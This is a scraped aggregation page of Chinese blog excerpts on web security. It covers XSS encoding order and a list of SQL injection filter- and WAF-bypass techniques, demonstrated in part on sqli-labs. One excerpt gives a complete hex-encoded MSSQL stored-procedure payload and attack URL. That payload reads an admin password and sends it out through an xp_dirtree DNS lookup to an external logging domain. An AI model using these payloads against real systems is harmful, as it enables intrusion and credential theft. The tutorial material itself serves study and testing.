精华内容
下载资源
问答
  • 在bwapp上尝试xss注入时,在level3层次上,后台用了htmlspecialchars函数编码转义,没有办法绕过。网上搜索后,给出的结论是,函数对&,',",进行了转义,其本身没法绕过,但是视它所处的环境来定。比方说,...

    在bwapp上尝试xss注入时,在level3层次上,后台用了htmlspecialchars函数编码转义,没有办法绕过。网上搜索后,给出的结论是,函数对&,',",进行了转义,其本身没法绕过,但是视它所处的环境来定。比方说,

    hello

    document.getElementById("1").innerHTML = x;

    注意这个x变量,它首先是在script环境下,然后通过改变dom结构,又输出到了html环境中,所以它会先被js解码,然后又被html解码。如果我们构造一个js编码后的攻击payload,那么它不含&,',",,所以可以绕过htmlspecialchars函数,当它解析之后,加入到html中之后,就又成为有攻击性的代码得以执行。

    这个问题得以理解之后,我在看道哥的《白帽子讲web安全》一书中,看到了关于DOM型xss的内容,它不按攻击代码是否存储于服务器来划分,而是指通过改变DOM结构来达到攻击的这一类的xss。就上面的例子来说,script中的内容输出到html中,就正好形成了一次xss攻击。

    这样就又引来了新的思考,第一,浏览器解析过程;第二,浏览器解码顺序。

    浏览器解析过程

    浏览器的解析过程,关于这个问题,可以参考how browsers work,它的译文How browsers work,觉得复杂的可以参考HTML页面加载和解析流程详细介绍。总结下来,就是从头开始加载,遇见

    解码顺序

    文章编码与解码 -- 浏览器做了什么谈到html实体解码在DOM树构建之后,他也给出了证明,因为试图构造

    这样的攻击是无效的,因为它破坏了dom树的构建,而HTML 解码,是在DOM树结构OK,对节点内容解析的时候,会进行转码。

    那么html解码和js解码的顺序是怎么样的,

    在遇到

    在遇到类似于

    #

    这样既在html环境内,又会触发js解释器的情况下(onclick,onbeforeunload等),会先进行html解码,在触发onerror时又会对js进行解码。

    所以,在进行防止xss攻击时,要注意数据的流向经过哪些环境,在每一个环境下都需要进行一次处理。

    就以开头的例子来说,变量首先是在js环境中,再到html环境中,顺序是js解码,html解码,那么我们后台在进行处理的时候,就需要先对变量做一次html编码,再做一次js编码。

    展开全文
  • sql注入_1-7_绕过注入

    2019-12-09 23:27:03
    文章目录一.sql注入绕过概念二.sql注入绕过手段三.sql绕过演示四.总结 一.sql注入绕过概念 1.为什么要绕过? 因为有时候存在注入,但是很多符号被过滤掉, 所以我们不的不使用绕过手段。 2.绕过就是虽然我们注入时...

    一.sql注入绕过概念

    1.为什么要绕过? 因为有时候存在注入,但是很多符号被过滤掉, 所以我们不的不使用绕过手段。

    2.绕过就是虽然我们注入时使用的字符串或者符号被过滤,但我们依然可以使他报错,并且报出他的数据库表名等

    二.sql注入绕过手段

    1.注释符
    通常是用来注释掉id=1’ 这个单引号,或者字符串

    2.单行注释
    - -+(通常直接在浏览器拼接) 或 --空格(通常在插件中使用) 或#

    列1:
    ?id=1’ --+ 就起到注释单引号的作用
    同理,–空格和#也是一样

    演变1:
    ?id=-1’ union select 1,2,3 --+ 同样是起到闭合前面单引号的作用

    演变2:
    如果过滤了注释符怎么办了?
    答案:我们可以使用单引号闭合前面的单引号,这样就不会报错
    可以使用‘ or 1=’1
    ?id=1’ or 1=’1 返回正常
    ?id=1’ or 1=’2 返回报错

    3.这时候我们知道了
    哦!!!
    注释符在sql注入中多是起到闭合单引号,和注释单引号的作用

    如下图1,2总结
    在这里插入图片描述
    在这里插入图片描述
    设想如果程序员过滤了
    and or 和select等我们注入的字符怎么办?

    方法
    1.MySQL大小写不铭感
    所以我们可以大小写绕过
    比如:sELEct
    2.吧值或参数转为16进制,或者url编码
    3.吧and 替换为 && ,吧or替换为 ||
    4.内联注释和多行注释
    可以插入字符串等

    如下图总结
    在这里插入图片描述
    5.双写绕过
    比如:
    oorr
    当过滤了or时
    中间那个or就不在了
    但是还是剩下一个or
    哈哈,所以依然可以绕过

    如下图总结
    在这里插入图片描述
    当发现过滤一些参数时
    我们可以用sqlma --hex
    可以绕过部分

    在这里插入图片描述

    6.最后我们来看看一个过滤函数
    第一个参数:过滤的变量值
    第二个参数:需要替换成为的变量
    第三个参数:在此参数中只要涵有第一个参数的值都过滤为第二参数我们改变的值

    可以看到
    在id中吧含有# ,-- ,“”的全部过滤为空

    在这里插入图片描述

    三.sql绕过演示

    打开less-11
    id=1返回正常

    在这里插入图片描述
    加’ 报错并且推出sql语句
    在这里插入图片描述
    使用–空格
    发现无法注释掉前面的单引号,说明过滤了-- 和空格

    在这里插入图片描述
    使用or 1=‘1 闭合前面的单引号返回正常
    再次证明他确实过滤了-- 空格

    在这里插入图片描述
    因为空格别过滤
    但是我们用+代替
    但是要注意+和url编码字符要在浏览器中使用,不要在插件,容易出错

    如下图
    在这里插入图片描述

    的到了数据库名
    在这里插入图片描述

    我们来看看源码
    确实–被过滤了
    难怪

    在这里插入图片描述

    接着下一个案例
    less-25
    直接单引号报错,分析出SQL语句

    在这里插入图片描述
    输入and 1=‘1
    发现没有显示
    说明and和or肯定被过滤了

    在这里插入图片描述

    使用||绕过
    成功

    在这里插入图片描述
    也可以双写绕过
    同样成功

    在这里插入图片描述

    看看源码,
    确实过滤了and
    和or

    在这里插入图片描述
    使用联合查询
    爆他字段
    接着就可以进行其他爆破,就不演示了,因为sql注入发现注入点,就可以使用sqlmap直接探测或使用脚本探测的。

    在这里插入图片描述

    打开less-26
    加”
    报错,推出SQL语句

    在这里插入图片描述
    如图操作
    发现原语句空格不在了
    由此推断过滤了空格

    在这里插入图片描述

    我们使用%0a代替空格
    返回正常

    在这里插入图片描述

    四.总结

    1.双写绕过
    2.大小写混合绕过
    3.|| 和&&绕过
    4.空格绕过(%0a)
    5.内联绕过
    6.注释符(or 1=’1)
    7.注意:当使用url编码和+时在浏览器导航使用,不要在插件使用

    展开全文
  • 目录三、SQL注入绕过技术3.1 大小写绕过注入3.2 双写绕过注入3.3 编码绕过注入3.4 内联注释绕过注入3.5 SQL注入修复建议 三、SQL注入绕过技术 3.1 大小写绕过注入   使用关键字大小写的方式尝试绕过,如And 1=1...


    三、SQL注入绕过技术

    3.1 大小写绕过注入

      使用关键字大小写的方式尝试绕过,如And 1=1(任意字母大小写都可以,如aNd 1=1,AND 1=1等),就可以看到访问id=1 And 1=1时页面返回与id=1相同的结果,访问id=1 And 1=2时页面返回与id=1不同的结果,得出存在SQL注入漏洞的结论。

      使用order by查询字段数量,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现order改成Order后,页面显示正常,说明by并没有被拦截,最终通过尝试。

      接着,使用Union方法完成此次注入,如果仍然遇到关键字被拦截,则尝试使用修改大小写的方式绕过拦截。


    3.2 双写绕过注入

      关键字and被过滤时,可以尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1。

      当访问id=1 order by 3时,如果MySQL的错误信息为“der by 3”,说明这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。

      后面的注入过程与Union注入的一致。


    3.3 编码绕过注入

      如果发现关键字and被拦截,可以尝试使用URL全编码的方式绕过拦截。由于服务器会自动对URL进行一次URL解码,所以需要把被拦截的关键字编码两次。这里需要注意的是,URL编码需选择全编码,而不是普通的URL编码。关键字and进行两次URL全编码的结果是%25%36%31%25%36%65%25%36%34。


    3.4 内联注释绕过注入

      内联注释绕过即将被拦截的关键字写在注释中,通过内敛的写法执行完整语句,例如id=1 /*!and*/ 1=1。


    3.5 SQL注入修复建议

      常用的SQL注入漏洞修复建议有两种。

    1. 过滤危险字符

      多数CMS都采用过滤危险字符的方式,例如,采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,则退出程序。

    1. 使用预编译语句

      使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加、删除、修改、查询。


    展开全文
  • 本文作者:非主流 测试文件的源码如下: ...这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+...使用hex编码绕过主机卫士IIS版本继续注入

    本文作者:非主流

    测试文件的源码如下:

     

    我们先直接加上单引号试试:

    http://192.168.0.20/conn.asp?id=1%27

    很好,没有报错。那我们继续,and 1=1 和and 1=2,被拦截了。这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+代替空格

    不再被拦截,Gogogo。

    http://192.168.0.20/conn.asp?id=1+and+1=@@version 看看当前数据库的版本

    http://192.168.0.20/conn.asp?id=1+and+1=user  查看当前连接数据库的用户

    http://192.168.0.20/conn.asp?id=1+and+1=db_name() 查看当前连接的数据库

    但是,当我们想查看有多少数据库的时候,发现被拦截了。怎么办?绕!

    1. http://192.168.0.20/conn.asp?id=1+and+(SELECT+top+1+Name+FROM+Master..SysDatabases)

    但是怎么绕呢。。依次测试吧,从左至右,开始依次加sql注入的关键字,发现

    下表仅显示被拦截项目

    关键字andselecttopnamefrommaster.()
    and X       
    select    X    
    Top         
    Name         
    from         
    master         
    .         
    (         

    可以看出,两个关键字的时候,只拦截select,那么我们试试三个关键字(无select)的时候,主机卫士会拦截什么?发现什么都不拦截,只会报语法错误。。。

    由此,我们得出一个结论,主机卫士一定会拦截select关键字,那么问题来了,他只拦截select吗?SeLeCt呢?经过不完全测试,发现当我们将select字符unicode编码后,不拦截

    http://192.168.0.20/conn.asp?id=1+and+%u0073%u0065%u006c%u0065%u0063%u0074

    但是,当我们尝试一次添加三个关键字的时候,主机卫士又拦截了(好累)。

    http://192.168.0.20/conn.asp?id=1+and+(%u0073%u0065%u006c%u0065%u0063%u0074+top

    那么我们来试试存储过程呢?

    Mssql的存储过程定义如下:

    • Declare @s varchar(5000)  //申明变量@s 类型为varchar(5000)
    • Set @  //给@s变量赋值
    • Exec(@s) //执行@s

    那么,我们就需要试着在url中提交declare、set和exec,看看是否被拦截。

    很好,没有被拦截,只是提示语法错误,那就证明我们可以利用存储过程去绕过主机卫士!

    我写了一个存储过程,内容如下(红色字体是需要另外修改的):

    1. declare @s varchar(5000),@host varchar(5000)
    2.  
    3. set @s=(select password from waf_test.dbo.admin where username=’admin’)
    4.  
    5. set@host=CONVERT(varchar(5000),@s)+’.xxxx.ceye.io’;EXEC(‘master..xp_dirtre
    6.  
    7. e”\\’+@host+’\foobar$”‘)

    我将这个存储过程转化成16进制(hex)

    1. 0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729

    所以最终我们的请求是:

    1. http://192.168.0.124/conn.asp?id=1;declare+@h+varchar(5000)+set+@h=0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729+exec(@h)

    登陆dnslog,可以看到接收到了123456的子域名请求,这里的123456便是我在mssql数据库中admin账户的密码。

    当然有了方法一就自然会有方法二,不妨开一下我们的脑洞。既然主机卫士我们可以利用超长的文件名去绕过上传(类似于二进制的溢出),那我们在这里是不是也可以通过提交超长的url去绕过他的get检查呢?想到就去做。

    实验过程:

    Mssql有注释语句,无论多长都不会影响到语句的执行,那么,我们试试

    在select前面添加一个注释,内容非常多的1

    咦,这是什么鬼???

    会不会是主机卫士找到关键字后,在一定的位数之内找其他关键字,如果有便返回999,如果没有就继续执行呢?那我试试用注释把select孤立起来。

    发现bypass,很开心哦。

    转载请注明:即刻安全 » 使用hex编码绕过主机卫士IIS版本继续注入

    展开全文
  • 前言在很多情况下,我们好不容易发现了可能注入注入点,但是却由于各种...普通的WEB站点的绕过(1)使用编码技术通过URLEncode编码、ASCII编码绕过。例如:or 1=1 即:%6f%72%20%31%3d%31,而Test也可以为CHAR(101...
  • Hex编码之后,需要手动敲入0x!!!
  • MSSQL注入绕过

    2020-12-24 13:40:39
    目录:绕过特性前言测试常见函数绕WAF\-WTS绕安全狗简介简单的爆错bypass简单的联合bypass盲注与储存过程其他绕过语句:绕...通过1.e这样的形式,可以用它绕过D盾的SQL注入防护,通过简单的Fuzz,我们来一起探索一下MSs
  • 1.注入类型 布尔盲注:http://192.168.232.174/Test.aspx?id=1and ascii(substring((select top 1 name from master..sysdatabases),1,1))>100 验证如下: 时间盲注:...
  • 绕过 SQL 注入

    2020-03-02 21:31:57
    一、绕过 SQL 注入 1.1、绕过去除注释符的 SQL 注入         注释符用于标记某段代码的作用,起到对代码功能的说明作用,但是注释掉的内容不会被执行。 Mysql中的注释符: 单行注释: --+ ...
  • Unicode 统一码,也叫万国码、单一码(Unicode)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种...我们这里的宽字节注入是利用的MySQL的一
  • sql注入绕过

    2021-04-14 11:14:01
    2、编码绕过 将被过滤语句进行编码,从而达到绕过。编码格式有URL编码、ASCII编码、hex编码、char编码、html实体字符编码如:将union写成%55uion、 3、注释绕过 适用于WAF只是过滤了一次危险的语句,没整个...
  • SQL注入绕过防火墙

    千次阅读 2018-08-08 17:12:51
    SQL注入绕过防火墙 sql注入简介 SQL注入-基本概念 注释绕过 案例变更 替换关检测 高级方法 认证绕过 标准 作者 SQL注入绕过防火墙 这篇文章是我翻译OWASP官网上的一篇文章,原文链接:SQL Injection By...
  • SQL注入绕过技术

    2020-06-10 00:08:24
    比如目标存在waf和一些过滤机制,那么正常的SQL注入就不会成功 由此诞生SQL绕过技术 大小写绕过 ...编码绕过 比如过滤union 我把union换一种编码方式 比如1516548 这样可以绕过了 然后目的服务器有解码装置
  • sql注入绕过方法

    2021-08-26 14:54:42
    一、大小写绕过 有时候,在我们执行sql注入过程中...三、编码绕过 使用URL编码对输入语句进行加密,然后服务器端会对其进行解密。 四、内联注释绕过 在mysql中,内联注释绕过的语句会被当做sql语句执行。 替换位置也
  • SQL注入绕过

    2018-10-24 20:17:44
    SQL注入绕过 1.大小写绕过 当我们访问如下URL的时候,提示“存在非法字符”: http://www.tianchi.com/web/rg/1.php?id=1 order by 3 可以尝试Order,同理如果其他字符必拦截,也可以大小写混合。 2.双写绕过...
  • SQL注入防御绕过——二次编码 01 背景知识 一、为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key...
  • 01 背景知识一、为什么要进行URL编码通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对...
  • 如何绕过注入

    2011-12-20 09:01:05
    如URLEncode编码,ASCII编码绕过。 例如or 1=1即 %6f%72%20%31%3d%31 而Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 2、通过空格绕过 如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,...
  • sql注入常见绕过

    2021-06-26 21:18:34
    4. 编码绕过 5. <>绕过 6. 注释符绕过 7. 对空格的绕过 8. 对or/and的绕过 9. 对等号=的绕过 10. 对单引号的绕过 11. 对逗号的绕过 12. 过滤函数绕过 13. 过滤–和#时 14. 过滤order by 15. 过滤关键字为空 0x...
  • sql注入绕过技巧

    2019-03-18 16:39:36
    1.绕过空格(注释符/* */,%a0):  两个空格代替一个空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注释替换空格: /* 注释 */ 使用浮点数: ...
  • mysql利用双重url编码绕过防火墙

    千次阅读 2017-01-26 12:17:42
    http://m.blog.csdn.net/article/details?id=49187783 例子: ... post 的数据: ...如果单纯的在搜索框中输入:select , union,detele,' 那么就会被waf阻拦页面会显示:非法字符 ...如果用双重编码的ur
  • 14、sql注入绕过技术

    2019-12-03 22:18:55
    一、大小写绕过 把关键字修改为And,OrdEr,UniOn。...三、编码绕过 http://192.168.1.120/sqli/Less-5/?id=1 转换后:http%3A%2F%2F192.168.1.120%2Fsqli%2FLess-5%2F%3Fid%3D1 四、内联注释 /! select/ * form ...
  • SQL注入绕过手法

    2020-12-22 22:14:02
    SQL注入绕过手法 概述 用preg_match()函数来匹配一些危险字符 注意://模式分隔符后的"i"标记...可以使用宽字节绕过,但是宽字节注入仅适用于GBK编码Demo:?id=1%df’ 这个时候加上\(编码为%5c)就变成id=1%df%5c’
  • Sql注入绕过

    千次阅读 2020-08-01 14:21:38
    SQL注入绕过 一 双写绕过 1.过滤判断 xxx.com?id=1 访问?id=1and1=1 页面报错 1=1,发现and被过滤,这时候尝试使用双写的方式绕过,如aanndd 1=1,当and被过滤后,aanndd变成了and,所以这时传输数据库的语句是 and ...
  • 几种方法绕过注入

    千次阅读 2012-11-20 15:08:09
    几种方法绕过防注入 当阿D和明小子派不上用场时,当你遇到有防注入程序的网站时,当你为次彷徨时,你是否想起运用手工绕过防注入的方法来拿站呢,不管成功与否,这...如URLEncode编码,ASCII编码绕过。 例如or 1=1即
  • Mysql注入绕过姿势

    2019-10-04 15:38:25
    2.编码绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过 or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 十六进制编码 SELECT(extractvalue(0x3C613E61646D696E3C...
  • 突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 15,246
精华内容 6,098
关键字:

编码绕过注入